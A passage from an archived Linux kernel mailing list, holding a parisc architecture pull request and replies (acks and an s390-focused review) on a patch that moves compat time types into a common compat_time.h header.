 fEzMh/mAP90gDk7j9oolr8ux0Tdiu3Peya9lvw79NXVmlnl79dPVhrJ1pSB5PIPvrP1Wxwe
 GwIuS0VMXY/NDD9r+uMVg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:eBdB5/hYJLo=:m/9Vs7Ei/rbZ8DLRVyPAIF
 OoUD3HQziId4paFyJaZD3/qVK8jaFh61A5I1oPzgFmtGZ2enc8jU0kKFGSthPGKsa/k/BJwm1
 u98Y++v7vDVphL/KFEmzlCHQE5vG3H3/hcveqhYrCbVUeTEx6EKquAC3sbz9lb/HpZcBmc7O9
 qZvTNYpaoqMFH4X/8/P2IqXI5KefeSL3U7zUlJk+g2jEsERoequU8CwXeGFCgnIhiCL9aB8pl
 8iWTmzuuzuYp687BBjLP5ugXmvP3NHbSArMh5XhBBIdllHEgim8jkz+nAYV+FQMiNUeiJRb5U
 3Po1+2kVaftBzD4mjpD1XmOiOW4CBTFrArN9CHtFettdmUg4YCvAm7yEWm5VlXU1a0tLzNtYu
 LVRuwQseyZHvlP0InIV9FmzAYI1GvzGKVnCNngptPVv6GTi64Ps1MFF2HBVkflXMopXxDfSaW
 hUcEvJYe9z2/OVlxogIx3Fs4XC8Ct2Wg5T+PJbF/rSPuRYmybAhAogbJ+NVr7zB2hN89H5BYj
 YY+d1XNwloa/33SUvJ+xnqvfh2d3jg+pzXMHzsOCVEjQm5aux8WnqCiSXnWWKDN19fe/yNjaF
 wgYMG6qtq7GCRCliNJqE589f/SnfkgeMf+b5/jlpoo2bIPWFB8eMqMHrAumIWALN0Mj0ZQanO
 4wab7NTkpKRzmTQfUdoEIHY8vW+MWiXqMximnV8KCo/YwT7UBWr4dke9an/joW+tut1GsPocw
 viw23Tc7l1xR1IxlyjkAlIh2+cN8O0WNN/L6FK/0Rm3+W11Al08FQnouJxsSrTI+MFNEqGm8 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2701940 gmane.linux.ports.parisc:28303
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2701940>

Hi Linus,

please pull a few small updates and fixes for the parisc architecture from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.16-1

Changes:
- A patch to change the ordering of cache and TLB flushes to hopefully fix the
  random segfaults we very rarely face (by Dave Anglin).
- A patch to hide the virtual kernel memory layout due to security reasons.
- Two small patches to make the kernel run more smoothly under qemu.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (4):
      parisc: Hide virtual kernel memory layout
      parisc: Check if secondary CPUs want own PDC calls
      parisc: Use cr16 interval timers unconditionally on qemu
      parisc: Reduce irq overhead when run in qemu

John David Anglin (1):
      parisc: Fix ordering of cache and TLB flushes

 arch/parisc/include/asm/cacheflush.h |  1 +
 arch/parisc/include/asm/processor.h  |  2 ++
 arch/parisc/kernel/cache.c           | 57 ++++++++++++++++++++----------------
 arch/parisc/kernel/head.S            | 18 ++++++++----
 arch/parisc/kernel/pacache.S         | 22 ++++++++++++++
 arch/parisc/kernel/smp.c             |  7 ++++-
 arch/parisc/kernel/time.c            | 11 +++----
 arch/parisc/mm/init.c                |  7 ++++-
 8 files changed, 86 insertions(+), 39 deletions(-)


From - Thu Nov 08 21:41:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: James Hogan <jhogan@kernel.org>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.kernel.year-2038,gmane.linux.oprofile,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v3 02/10] include: Move compat_timespec/ timeval to
 compat_time.h
Date: Fri, 2 Mar 2018 21:57:02 +0000
Lines: 72
Approved: news@gmane.org
Message-ID: <20180302215702.GD4197@saruman>
References: <20180116021818.24791-1-deepa.kernel@gmail.com>
 <20180116021818.24791-3-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="===============9066815376597682018=="
X-Trace: blaine.gmane.org 1520027718 19906 195.159.176.226 (2 Mar 2018 21:55:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 2 Mar 2018 21:55:18 +0000 (UTC)
User-Agent: Mutt/1.7.2 (2016-11-26)
Cc: mark.rutland@arm.com, linux-mips@linux-mips.org, peterz@infradead.org,
 benh@kernel.crashing.org, heiko.carstens@de.ibm.com, paulus@samba.org,
 hpa@zytor.com, sparclinux@vger.kernel.org, devel@driverdev.osuosl.org,
 linux-s390@vger.kernel.org, y2038@lists.linaro.org, mpe@ellerman.id.au,
 deller@gmx.de, x86@kernel.org, sebott@linux.vnet.ibm.com,
 jejb@parisc-linux.org, will.deacon@arm.com, borntraeger@de.ibm.com,
 mingo@redhat.com, oprofile-list@lists.sf.net, catalin.marinas@arm.com,
 rric@kernel.org, cmetcalf@mellanox.com, arnd@arndb.de,
 oberpar@linux.vnet.ibm.com, acme@kernel.org, jwi@linux.vnet.ibm.com,
 john.stultz@linaro.org, rostedt@goodmis.org, tglx@linutronix.de,
 ubraun@linux.vnet.ibm.com, gerald.schaefer@de.ibm.com,
 linux-parisc@vger.kernel.org, gregkh@linuxfoundation.org, cohuck@redhat.com,
 linux-kernel@vger.kernel.org, ralf@linux-mips.org, hoeppner@linux.vnet.ibm.com,
To: Deepa Dinamani <deepa.kernel@gmail.com>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Fri Mar 02 22:55:10 2018
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp2.osuosl.org ([140.211.166.133] helo=hemlock.osuosl.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1ersdx-0003yb-Gz
	for glddd-devel@m.gmane.org; Fri, 02 Mar 2018 22:55:09 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by hemlock.osuosl.org (Postfix) with ESMTP id BAE9F89604;
	Fri,  2 Mar 2018 21:57:15 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id hokTOGwp7wNT; Fri,  2 Mar 2018 21:57:14 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by hemlock.osuosl.org (Postfix) with ESMTP id 97BFA890A6;
	Fri,  2 Mar 2018 21:57:14 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from silver.osuosl.org (smtp3.osuosl.org [140.211.166.136])
 by ash.osuosl.org (Postfix) with ESMTP id E71EA1C4377
 for <devel@linuxdriverproject.org>; Fri,  2 Mar 2018 21:57:13 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by silver.osuosl.org (Postfix) with ESMTP id DF0E72E5F5
 for <devel@linuxdriverproject.org>; Fri,  2 Mar 2018 21:57:13 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from silver.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id JUyadYGJR+kV for <devel@linuxdriverproject.org>;
 Fri,  2 Mar 2018 21:57:13 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail.kernel.org (mail.kernel.org [198.145.29.99])
 by silver.osuosl.org (Postfix) with ESMTPS id 4729F22673
 for <devel@driverdev.osuosl.org>; Fri,  2 Mar 2018 21:57:13 +0000 (UTC)
Original-Received: from saruman (jahogan.plus.com [212.159.75.221])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by mail.kernel.org (Postfix) with ESMTPSA id 2558B21725;
 Fri,  2 Mar 2018 21:57:05 +0000 (UTC)
DMARC-Filter: OpenDMARC Filter v1.3.2 mail.kernel.org 2558B21725
Authentication-Results: mail.kernel.org;
 dmarc=none (p=none dis=none) header.from=kernel.org
Authentication-Results: mail.kernel.org;
 spf=none smtp.mailfrom=jhogan@kernel.org
In-Reply-To: <20180116021818.24791-3-deepa.kernel@gmail.com>
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:113914 gmane.linux.ports.mips.general:63913 gmane.linux.ports.sparc:27375 gmane.linux.kernel.year-2038:2519 gmane.linux.oprofile:13152 gmane.linux.ports.parisc:28304 gmane.linux.kernel:2701992 gmane.linux.ports.ppc64.devel:153982
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/113914>


--===============9066815376597682018==
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="jL2BoiuKMElzg3CS"
Content-Disposition: inline


--jL2BoiuKMElzg3CS
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Jan 15, 2018 at 06:18:10PM -0800, Deepa Dinamani wrote:
> All the current architecture specific defines for these
> are the same. Refactor these common defines to a common
> header file.
>=20
> The new common linux/compat_time.h is also useful as it
> will eventually be used to hold all the defines that
> are needed for compat time types that support non y2038
> safe types. New architectures need not have to define these
> new types as they will only use new y2038 safe syscalls.
> This file can be deleted after y2038 when we stop supporting
> non y2038 safe syscalls.

=2E..

>  arch/mips/include/asm/compat.h    | 11 -----------
>  arch/mips/kernel/signal32.c       |  2 +-

For MIPS:
Acked-by: James Hogan <jhogan@kernel.org>

Cheers
James

--jL2BoiuKMElzg3CS
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEd80NauSabkiESfLYbAtpk944dnoFAlqZyK0ACgkQbAtpk944
dnriXA//fiy/M44auOl6H3L/Sttb1xadP44YPlJKIkOi6RRm+XDNJWeIyb2dB28g
vkHkEqeW5OX0Yz+YmbMULh8EAl6TV42LSMUcRcDNmI3GjkArQIEQ7T1E7BiwukFd
lclSwy3Fe9HwtZdLeKQuO+C8W4pZ0rUXZeQW+8A0TvNM1zAKInEKaAGXgxS7PcMs
7pZBbOcIGBg9sTWFPhU4N63bfMn095wDXupegwflrlB1JSTvFktFxc2E6c0JmIwm
ij9jNw3J/lUtGaMq2ynmbJQWr+/I1EFVe740bkdKYP2Q1ZdTybWR2FnnoP+cC6kF
hS49c68Enp1mSirYIqRidTc8YLALwUFpdheUUky1VUPSjBWee2BqZ83VrshoMvkx
DQTuUfxvlFdnCLF6xHl0Ock5g7QTzrne9rpvqGBge3sGp25RZ1RcJYAruNJ36u+C
9VP1Y284Sz40x76q77yLxC5rT3inAHQYO2c+ob/BnrKoSrMxfDrWYea1X1yh+x80
6qyZomlmDEu7OREVX2dnpkIG/0j2GvhQBtjYHAHjvTkmHho80Fe/GBZhObkQjnoW
xgm1BLteveq/IEGK1tY2MEqjNFgUjQn1/r72KrP1b7PMtmwHjkyaXljB/dEv5TI3
tEttVw3wzqGUWmbvyj7KZcpv/BQUx/Otrqh/zGMnC30U53Lzrzw=
=PkCk
-----END PGP SIGNATURE-----

--jL2BoiuKMElzg3CS--

--===============9066815376597682018==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
devel mailing list
devel@linuxdriverproject.org
http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel

--===============9066815376597682018==--


From - Thu Nov 08 21:41:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.year-2038,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.oprofile,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v3 02/10] include: Move compat_timespec/ timeval
 to compat_time.h
Date: Sun, 4 Mar 2018 21:45:54 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <e417db45-d400-3513-3897-7aefa9889711@gmx.de>
References: <20180116021818.24791-1-deepa.kernel@gmail.com>
 <20180116021818.24791-3-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1520196357 9198 195.159.176.226 (4 Mar 2018 20:45:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 4 Mar 2018 20:45:57 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: mark.rutland@arm.com, linux-mips@linux-mips.org, peterz@infradead.org,
 benh@kernel.crashing.org, heiko.carstens@de.ibm.com, paulus@samba.org,
 hpa@zytor.com, sparclinux@vger.kernel.org, devel@driverdev.osuosl.org,
 linux-s390@vger.kernel.org, y2038@lists.linaro.org, mpe@ellerman.id.au,
 ubraun@linux.vnet.ibm.com, x86@kernel.org, sebott@linux.vnet.ibm.com,
 jejb@parisc-linux.org, will.deacon@arm.com, borntraeger@de.ibm.com,
 mingo@redhat.com, oprofile-list@lists.sf.net, catalin.marinas@arm.com,
 rric@kernel.org, cmetcalf@mellanox.com, arnd@arndb.de,
 oberpar@linux.vnet.ibm.com, acme@kernel.org, jwi@linux.vnet.ibm.com,
 rostedt@goodmis.org, gerald.schaefer@de.ibm.com, linux-parisc@vger.kernel.org,
 gregkh@linuxfoundation.org, cohuck@redhat.com, linux-kernel@vger.kernel.org,
 ralf@linux-mips.org, hoeppner@linux.vnet.ibm.com, sth@linux.vnet.ibm.com,
 schwidefsky@de.ibm.com, linuxppc-dev
To: Deepa Dinamani <deepa.kernel@gmail.com>, tglx@linutronix.de,
 john.stultz@linaro.org
Original-X-From: y2038-bounces@lists.linaro.org Sun Mar 04 21:45:49 2018
Return-path: <y2038-bounces@lists.linaro.org>
Envelope-to: glky-y2038@m.gmane.org
Original-Received: from ec2-54-197-127-237.compute-1.amazonaws.com ([54.197.127.237] helo=lists.linaro.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <y2038-bounces@lists.linaro.org>)
	id 1esaVr-0000on-0r
	for glky-y2038@m.gmane.org; Sun, 04 Mar 2018 21:45:43 +0100
Original-Received: by lists.linaro.org (Postfix, from userid 109)
	id 9BCB0607F9; Sun,  4 Mar 2018 20:47:49 +0000 (UTC)
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by lists.linaro.org (Postfix) with ESMTP id 1FC8C6097C;
	Sun,  4 Mar 2018 20:47:45 +0000 (UTC)
X-Original-To: y2038@lists.linaro.org
Delivered-To: y2038@lists.linaro.org
Original-Received: by lists.linaro.org (Postfix, from userid 109)
 id 8CEE961706; Sun,  4 Mar 2018 20:47:43 +0000 (UTC)
Original-Received: from mout.gmx.net (mout.gmx.net [212.227.17.21])
 by lists.linaro.org (Postfix) with ESMTPS id 92B8A6097C
 for <y2038@lists.linaro.org>; Sun,  4 Mar 2018 20:47:42 +0000 (UTC)
Original-Received: from [192.168.20.60] ([88.130.71.98]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MdFwl-1fAwLn3LX9-00IVge; Sun, 04
 Mar 2018 21:46:05 +0100
In-Reply-To: <20180116021818.24791-3-deepa.kernel@gmail.com>
Content-Language: en-US
X-Provags-ID: V03:K0:MpMQueG6fpJGABwaNaKFGGPOKFbCttoGXhtORnzUxN0TeRnHuj/
 iv9rWFxZqi9qg3gcqVbT+dtDvixDr9swhecwWhZlA94A1Xiw3VXwiRw8ZUIrulE5D1UKLjo
 Z4FN7O1FsLXQ8s0rX7ZP1D3hYZTndpk/6748qAYxHqFMZa35S741kAFpmnknTcMsuCNott6
 B/V1DL4i//42UpWJ/LedA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:OV4kiWFkRWI=:Zjz3I+8dOWxm8ofVddNREF
 Z6o663WahrkDiir9gy2dE1nbkwcG4WKeI+uHtn45FWP2S/j+kfixXt7bq0BQ97RAm9M3Sy02a
 U8bzES/0FfEnxZtcCA7H7wvlSPudYJV0K1sLw7ZXhdkJ1HnA7cglpLDKPPsuccjhSZ1NDzKwL
 qjD+COx/bqNucrsEMDQg9WYYEr0SoRBFaSEC4mOzxtyG3nmzxXQW1/DqEyljquZAvGEzhP+p6
 4ocAIikLcPcCNSXybG0oF/mKH1OGmxGWc+dWMaZEH6TxsPEFDJB7rD+0z0BotiMwBUlhob9eT
 +ab1amN7QW8vY74afTd7RKMI0S+Utx8/erVeTTEyGFaB41g25pfySnDbRsBosDh9RGJRuikZ3
 6mne4Lw5lvz6X58ObQktsX/mfPipuqEfu5c87/gq4bBqe/JL/B3eC0tDnzsY+WoglqemzS9NC
 hTHhAJEKlGxOTQh85ECDOCXKgefFY4JSwrCmv9zj0WuBCSGk+Ru0XVEPAiDKPRqJBU/pGfXyC
 bJEneE1WdehvIW+0b5t8iXfx6+VbYWOxqYOOOhwtFTzejGO4hGh2QxpthK/i4/H10Obm+kN+m
 6X3NchYQqQmV1cNBmuNTWlbJJ3OVFddZ/ZvdEjyzQi0g/KXF+9Yh347EZYcx9JEin58OhYxFV
 sdGoJvIERzeMrxDC7Fg2ZtczS8BUEKp3lOZAUCN7HCDZv4VKT60+MOpc7gK71zIA/RoNP0pl4
 q6nwiKiVmfAtFIr4YCiOLOM9BsR4otmfXuer9cm6tDUxAkJ+Xgl+r0ag36TG9MH+yUgNEhJ2 
X-BeenThere: y2038@lists.linaro.org
X-Mailman-Version: 2.1.16
Precedence: list
List-Id: <y2038.lists.linaro.org>
List-Unsubscribe: <https://lists.linaro.org/mailman/options/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=unsubscribe>
List-Archive: <http://lists.linaro.org/pipermail/y2038/>
List-Post: <mailto:y2038@lists.linaro.org>
List-Help: <mailto:y2038-request@lists.linaro.org?subject=help>
List-Subscribe: <https://lists.linaro.org/mailman/listinfo/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=subscribe>
Errors-To: y2038-bounces@lists.linaro.org
Original-Sender: "Y2038" <y2038-bounces@lists.linaro.org>
Xref: news.gmane.org gmane.linux.kernel.year-2038:2520 gmane.linux.ports.mips.general:63933 gmane.linux.ports.sparc:27376 gmane.linux.oprofile:13153 gmane.linux.ports.parisc:28305 gmane.linux.kernel:2703036 gmane.linux.ports.ppc64.devel:154004
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.year-2038/2520>

T24gMTYuMDEuMjAxOCAwMzoxOCwgRGVlcGEgRGluYW1hbmkgd3JvdGU6Cj4gQWxsIHRoZSBjdXJy
ZW50IGFyY2hpdGVjdHVyZSBzcGVjaWZpYyBkZWZpbmVzIGZvciB0aGVzZQo+IGFyZSB0aGUgc2Ft
ZS4gUmVmYWN0b3IgdGhlc2UgY29tbW9uIGRlZmluZXMgdG8gYSBjb21tb24KPiBoZWFkZXIgZmls
ZS4KPiAKPiBUaGUgbmV3IGNvbW1vbiBsaW51eC9jb21wYXRfdGltZS5oIGlzIGFsc28gdXNlZnVs
IGFzIGl0Cj4gd2lsbCBldmVudHVhbGx5IGJlIHVzZWQgdG8gaG9sZCBhbGwgdGhlIGRlZmluZXMg
dGhhdAo+IGFyZSBuZWVkZWQgZm9yIGNvbXBhdCB0aW1lIHR5cGVzIHRoYXQgc3VwcG9ydCBub24g
eTIwMzgKPiBzYWZlIHR5cGVzLiBOZXcgYXJjaGl0ZWN0dXJlcyBuZWVkIG5vdCBoYXZlIHRvIGRl
ZmluZSB0aGVzZQo+IG5ldyB0eXBlcyBhcyB0aGV5IHdpbGwgb25seSB1c2UgbmV3IHkyMDM4IHNh
ZmUgc3lzY2FsbHMuCj4gVGhpcyBmaWxlIGNhbiBiZSBkZWxldGVkIGFmdGVyIHkyMDM4IHdoZW4g
d2Ugc3RvcCBzdXBwb3J0aW5nCj4gbm9uIHkyMDM4IHNhZmUgc3lzY2FsbHMuCgpGb3IgcGFyaXNj
OgoKQWNrZWQtYnk6IEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT4gIyBwYXJpc2MKX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18KWTIwMzggbWFpbGluZyBs
aXN0ClkyMDM4QGxpc3RzLmxpbmFyby5vcmcKaHR0cHM6Ly9saXN0cy5saW5hcm8ub3JnL21haWxt
YW4vbGlzdGluZm8veTIwMzgK


From - Thu Nov 08 21:41:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christian Borntraeger <borntraeger@de.ibm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.oprofile,gmane.linux.ports.sparc
Subject: Re: [PATCH v3 02/10] include: Move compat_timespec/ timeval to
 compat_time.h
Date: Mon, 5 Mar 2018 10:30:26 +0100
Lines: 85
Approved: news@gmane.org
Message-ID: <c6fb6676-a8d3-8893-660c-2b9899c5d5ab@de.ibm.com>
References: <20180116021818.24791-1-deepa.kernel@gmail.com>
 <20180116021818.24791-3-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1520242137 12867 195.159.176.226 (5 Mar 2018 09:28:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 5 Mar 2018 09:28:57 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.6.0
Cc: linux-kernel@vger.kernel.org, arnd@arndb.de,
        y2038@lists.linaro.org, acme@kernel.org, benh@kernel.crashing.org,
        catalin.marinas@arm.com, cmetcalf@mellanox.com, cohuck@redhat.com,
        davem@davemloft.net, deller@gmx.de, devel@driverdev.osuosl.org,
        gerald.schaefer@de.ibm.com, gregkh@linuxfoundation.org,
        heiko.carstens@de.ibm.com, hoeppner@linux.vnet.ibm.com,
        hpa@zytor.com, jejb@parisc-linux.org, jwi@linux.vnet.ibm.com,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        mark.rutland@arm.com, mingo@redhat.com, mpe@ellerman.id.au,
        oberpar@linux.vnet.ibm.com, oprofile-list@lists.sf.net,
        paulus@samba.org, peterz@infradead.org, ralf@linux-mips.org,
        rostedt@goodmis.org, rric@kernel.org, schwidefsky@de.ibm.com,
        sebott@linux.vnet.ib
To: Deepa Dinamani <deepa.kernel@gmail.com>, tglx@linutronix.de,
        john.stultz@linaro.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 05 10:28:49 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1esmQE-0001Zb-Em
	for glk-linux-kernel-4@m.gmane.org; Mon, 05 Mar 2018 10:28:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933561AbeCEJaq (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 5 Mar 2018 04:30:46 -0500
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1]:37488 "EHLO
        mx0a-001b2d01.pphosted.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S933469AbeCEJam (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 5 Mar 2018 04:30:42 -0500
Original-Received: from pps.filterd (m0098393.ppops.net [127.0.0.1])
        by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id w259SqQv125035
        for <linux-kernel@vger.kernel.org>; Mon, 5 Mar 2018 04:30:41 -0500
Original-Received: from e06smtp10.uk.ibm.com (e06smtp10.uk.ibm.com [195.75.94.106])
        by mx0a-001b2d01.pphosted.com with ESMTP id 2gh2j41y2s-1
        (version=TLSv1.2 cipher=AES256-SHA256 bits=256 verify=NOT)
        for <linux-kernel@vger.kernel.org>; Mon, 05 Mar 2018 04:30:41 -0500
Original-Received: from localhost
        by e06smtp10.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
        for <linux-kernel@vger.kernel.org> from <borntraeger@de.ibm.com>;
        Mon, 5 Mar 2018 09:30:37 -0000
Original-Received: from b06cxnps4074.portsmouth.uk.ibm.com (9.149.109.196)
        by e06smtp10.uk.ibm.com (192.168.101.140) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
        Mon, 5 Mar 2018 09:30:28 -0000
Original-Received: from d06av23.portsmouth.uk.ibm.com (d06av23.portsmouth.uk.ibm.com [9.149.105.59])
        by b06cxnps4074.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id w259US1T58458212;
        Mon, 5 Mar 2018 09:30:28 GMT
Original-Received: from d06av23.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id CF93CA4055;
        Mon,  5 Mar 2018 09:23:26 +0000 (GMT)
Original-Received: from d06av23.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 5701DA4059;
        Mon,  5 Mar 2018 09:23:25 +0000 (GMT)
Original-Received: from oc7330422307.ibm.com (unknown [9.152.224.177])
        by d06av23.portsmouth.uk.ibm.com (Postfix) with ESMTP;
        Mon,  5 Mar 2018 09:23:25 +0000 (GMT)
In-Reply-To: <20180116021818.24791-3-deepa.kernel@gmail.com>
Content-Language: en-US
X-TM-AS-GCONF: 00
x-cbid: 18030509-0040-0000-0000-0000041AD39A
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18030509-0041-0000-0000-0000261DE199
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:,, definitions=2018-03-05_03:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0 priorityscore=1501
 malwarescore=0 suspectscore=0 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1011 lowpriorityscore=0 impostorscore=0 adultscore=0
 classifier=spam adjust=0 reason=mlx scancount=1 engine=8.0.1-1709140000
 definitions=main-1803050113
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2703269 gmane.linux.kernel.year-2038:2521 gmane.linux.ports.mips.general:63935 gmane.linux.ports.parisc:28306 gmane.linux.ports.ppc64.devel:154013 gmane.linux.oprofile:13154 gmane.linux.ports.sparc:27377
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2703269>

On 01/16/2018 03:18 AM, Deepa Dinamani wrote:
> All the current architecture specific defines for these
> are the same. Refactor these common defines to a common
> header file.
> 
> The new common linux/compat_time.h is also useful as it
> will eventually be used to hold all the defines that
> are needed for compat time types that support non y2038
> safe types. New architectures need not have to define these
> new types as they will only use new y2038 safe syscalls.
> This file can be deleted after y2038 when we stop supporting
> non y2038 safe syscalls.

You are now include a <linux/*.h> from several asm files
(
 arch/arm64/include/asm/stat.h   
 arch/s390/include/asm/elf.h     
 arch/x86/include/asm/ftrace.h   
 arch/x86/include/asm/sys_ia32.h 
)
It works, and it is done in many places, but it looks somewhat weird.
Would it make sense to have an asm-generic/compate-time.h instead? Asking for
opinions here.

> 
> The patch also requires an operation similar to:
> 
> git grep "asm/compat\.h" | cut -d ":" -f 1 |  xargs -n 1 sed -i -e "s%asm/compat.h%linux/compat.h%g"

some comments from the s390 perspective:

> --- a/arch/s390/hypfs/hypfs_sprp.c
> +++ b/arch/s390/hypfs/hypfs_sprp.c
ok.
[...]
> --- a/arch/s390/include/asm/elf.h
> +++ b/arch/s390/include/asm/elf.h
> @@ -126,7 +126,7 @@
>   */
> 
>  #include <asm/ptrace.h>
> -#include <asm/compat.h>
> +#include <linux/compat.h>
